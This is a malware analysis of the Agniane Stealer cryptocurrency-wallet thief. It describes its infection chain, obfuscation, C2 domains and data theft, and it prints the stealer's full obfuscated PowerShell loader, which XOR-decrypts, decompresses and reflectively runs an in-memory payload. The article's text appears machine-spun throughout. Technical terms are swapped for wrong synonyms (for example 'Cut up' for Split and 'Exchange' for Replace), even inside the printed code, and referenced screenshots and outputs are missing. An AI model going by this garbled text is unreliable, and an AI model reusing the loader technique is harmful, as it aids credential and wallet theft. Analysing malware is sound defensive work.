Agniane Stealer: Info stealer focusing on cryptocurrency customers

The Agniane Stealer is an information-stealing malware primarily focusing on the cryptocurrency wallets of its victims. It gained reputation on the web beginning in August 2023. Lately, we have now noticed a definite marketing campaign spreading it throughout our telemetry. Our current examine has led to the profitable identification and detailed evaluation of a beforehand unrecognized community URL sample. Our researchers have just lately uncovered extra data on the malware’s strategies for file assortment and the intricacies of its command and management (C2) protocol. We even have new reverse engineering insights into the malware’s structure and communication.

We consider our work contributes to tactical and operational ranges of intelligence relating to Agniane Stealer. It might show helpful from incident response to detector growth and could be extra appropriate for a technical viewers.

The Agniane Stealer has already been referenced in a number of articles. The Agniane stealer malware is being actively marketed and offered by a Telegram channel, accessible at t[.]me/agniane. Potential patrons could make purchases immediately by way of this channel by interacting with a specialised bot, named @agnianebot, which facilitates the transaction course of and supplies further details about the malware.” Our technical evaluation signifies that it makes use of the ConfuserEx Protector and goals at similar targets. Nevertheless, it employs a definite C2 methodology, primarily based on the pattern noticed in our telemetry knowledge. Subsequently, we have now determined to publish a technical evaluation of the pattern.

Introduction

Throughout our threat-hunting workouts in November 2023, we have now observed a sample of renamed PowerShell binaries, referred to as passbook.bat.exe. On nearer inspection of the host machines, we have now recognized infections of the newly found malware household of Agniane Stealer. Risk analysis Gameel Ali (@MalGamy12) first disclosed the existence of this malware on their X account. Researchers from the Zscaler ThreatLabz Staff [2] and Pulsedive Risk Researchers [3] ultimately adopted up with weblog posts of their very own. Our work goals to contribute further data understanding campaigns involving using Agniane Stealer.

Execution Chain

The infections we detected appear to begin with the downloading of ZIP information from compromised web sites. All of the web sites from the place we have now seen the obtain of this file in our telemetry are regular web sites with professional content material. All obtain URLs had the beneath URL sample:

http[s]://<area identify>/book_[A-Z0-9]+-d+.zip

As soon as downloaded and extracted, the downloaded ZIP file drops a BAT file (passbook.bat) and extra ZIP file on the file system. The BAT file accommodates an obfuscated payload and after its execution by cmd.exe, it drops an executable which is renamed model of PowerShell binary (passbook.bat.exe). [4]

This enamed PowerShell was used to execute collection of obfuscated instructions.

passbook.bat.exe -noprofile -windowstyle hidden -ep bypass -command $_CASH_esCqq = [System.IO.File]::(‘txeTllAdaeR'[-1..-11] -join ”)(‘C:UsersuserAppDataLocalTemp15Rar$DIa63532.21112passbook.bat’).Cut up([Environment]::NewLine);foreach ($_CASH_OjmGK in $_CASH_esCqq) { if ($_CASH_OjmGK.StartsWith(‘:: @’)) { $_CASH_ceCmX = $_CASH_OjmGK.Substring(4); break; }; };$_CASH_ceCmX = [System.Text.RegularExpressions.Regex]::Exchange($_CASH_ceCmX, ‘_CASH_’, ”);$_CASH_afghH = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)($_CASH_ceCmX);$_CASH_NtKXr = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)(‘ws33cUsroVN/EsxO1rOfY1zGajQKWVFEvpkHI/JP6Is=’);for ($i = 0; $i -le $_CASH_afghH.Size – 1; $i++) { $_CASH_afghH[$i] = ($_CASH_afghH[$i] -bxor $_CASH_NtKXr[$i % $_CASH_NtKXr.Length]); };$_CASH_DIacp = New-Object System.IO.MemoryStream(, $_CASH_afghH);$_CASH_yXEfg = New-Object System.IO.MemoryStream;$_CASH_QbnHO = New-Object System.IO.Compression.GZipStream($_CASH_DIacp, [IO.Compression.CompressionMode]::Decompress);$_CASH_QbnHO.CopyTo($_CASH_yXEfg);$_CASH_QbnHO.Dispose();$_CASH_DIacp.Dispose();$_CASH_yXEfg.Dispose();$_CASH_afghH = $_CASH_yXEfg.ToArray();$_CASH_hCnlS = [System.Reflection.Assembly]::(‘daoL'[-1..-4] -join ”)($_CASH_afghH);$_CASH_Xhonj = $_CASH_hCnlS.EntryPoint;$_CASH_Xhonj.Invoke($null, (, [string[]] (”)))

The command line proven above performs the next actions:

• Reads the content material of the beforehand extracted BAT file (passbook.bat).
• By means of string matches and replacements, builds the payload dynamically and assigns it to a variable.
• Transformed payload and static key from Base64 to a byte array.
• XOR’d the payload utilizing a static key.
• Decompressed XOR’d payload utilizing GZIP.
• Invokes payload after reflectively loading it into reminiscence.

To grasp actions taken towards the target, we reversed the payload.

Binary Evaluation

The invoked payload continues with the execution of a C# meeting. We’ve dumped it right into a file, the place we get the executable with beneath hash,

5640c02b6d125d4e14e19709296b29b8ea34fe416e18b3d227bd79310d54b8df.

At time of the evaluation, the file was unknown to on-line sandboxes. We’ve determined to emulate the exercise on the Cisco Safe Malware Analytics sandbox with the generic settings on this file, which is the second stage of the deployment of the stealer. The dynamic evaluation couldn’t be accomplished as we didn’t execute the primary stage of the pattern of the malware. Subsequently, we determined to research the pattern manually, the place we discovered later there are anti-sandbox strategies used.

The binary file was extremely obfuscated with management move manipulations, like ConfuserEx.

It is very important word that the pattern didn’t comprise a signature for ConfuserEx, but it had an obfuscation methodology that resembled it.

After reversing the pattern, we realized it accommodates one other binary file in its sources part, which have been getting reflectively loaded. The brand new binary was one other C#-based pattern, which contained the ultimate payload. It was obfuscated with ConfuserEx with direct signatures.

As you’ll be able to see from the earlier screenshot, it’s calling Invoke features from an entry Level object, which accommodates a parsed useful resource.

The complete loading course of seems as if passbook.bat.exe is executing PowerShell, which is deobfuscating passbook.bat. This, in flip, is working the tmp385C.tmp (tmp385C.tmp is only a header file identify) C# purposes, which reflectively load the _CASH_78 C# software. The ultimate software on this sequence is the Agniane Stealer:

Command and Management

The Agniane Stealer operates in an easy but environment friendly method, stealing credentials and information from the endpoint utilizing a primary C2 protocol. Initially, it verifies the supply of any domains by a easy C# net request, checking if the return worth is “13.” This time request was made to a URL labeled “take a look at,” for example.

In our pattern, we will see the next IOCs (indicators of compromise) offered in sources file:

trecube[.]com

trecube13[.]ru

imitato23[.]retailer

wood100home[.]ru

For all these domains, the pattern is asking for a take a look at URL.

Later, the malware calls C2 to get an inventory of file extensions to search for. That is situated at URL sample getext?id= adopted by an ID – part of sources of the _CASH_78 file. On this web site, the checklist of extensions is separated by a semicolon, and for instance on a web site trecube[.]retailer it seems like:

Once more, that is dealt with as earlier checking string within the code. It’s parsed/break up by semicolon and an inventory of extensions is created in an inventory of variables in C# code.

Subsequently, the malware requests a distant json file containing the main points about errors, VirusTotal hits, and many others. Primarily based on this data, the pattern both progresses or halts. We selected to focus our investigation on different points which can be extra immediately related to attribution and detection settings. Nevertheless, it is very important word that the URL sample could be utilized for monitoring malware by telemetry or on-line sandbox providers for OSINT functions. The URL seems like:

And right here what its corresponding output seems like:

The following stage includes enumeration and assortment. It scans the pc to gather all paperwork with specified extensions instructed by the URL with a “getext” sample, together with different credentials present in frequent paths of the working system, equivalent to Mozilla Firefox storage, Chrome storage and saved Home windows credentials. It is a frequent exercise amongst data stealer malware. Moreover, Agniane was checking to see the localization setting of the sufferer laptop. If it accommodates any of the language packages beneath, it doesn’t proceed with the an infection,

The allowlisting of some areas also can imply the developer doesn’t wish to assault particular areas. Primarily based on different observations it’s potential to anticipate the attacker is from a rustic with a robust diplomatic tie to Russia.

As soon as all of the goal information are collected, the malware creates a ZIP archive beneath the “native software knowledge” folder,

C:Customers[user]AppDataLocal[A-Z0-9]{32}

Under is the construction/content material of this archive file

It’s later uploaded to

Under you will discover the illustrated model of the Agniane Stealer’s C2 communication,

Different TTPs

The Agniane Stealer was additionally seen performing following actions:

• Enumerating registry key HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall for put in purposes, it additionally collects this data.
• Checking for a public IP on a ip-api.com, i.e,
  https://ip-api.com/json/?fields=11827
• Dumping Bitcoin and different cryptocurrency wallets
• Performing (not effectively) checks to see if it’s working in a debugged or digital env. and many others.
• Amassing pockets.dat information.
• Enumerating Profile and Consumer knowledge.
• Amassing saved bank cards.
• Including different malware like NGenTask.exe.log (the file with the SHA cf342712ac75824579780abdb0e12d7ba9e3de93f311e0f3dd5b35f73a6bbc3).

Conclusion

The Agniane Stealer tries to stay undetected by numerous obfuscation and anti-VM/debug strategies. It displays frequent habits for stealers equivalent to accumulating and exfiltrating information, credentials password, bank card particulars, wallets, and many others. Its evasive nature and focusing on of assorted data may appeal to extra adversaries in future to leverage its providers.

Kill Chain

Indicators of Compromise

References

[1] https://twitter.com/MalGamy12/standing/1688984207752663040?t=xECvfQF8pujQERAmhfI41w
[2] https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-web-s-crypto-threat
[3] https://weblog.pulsedive.com/analyzing-agniane-stealer/
[4] https://www.pcrisk.com/removal-guides/27510-agniane-stealer

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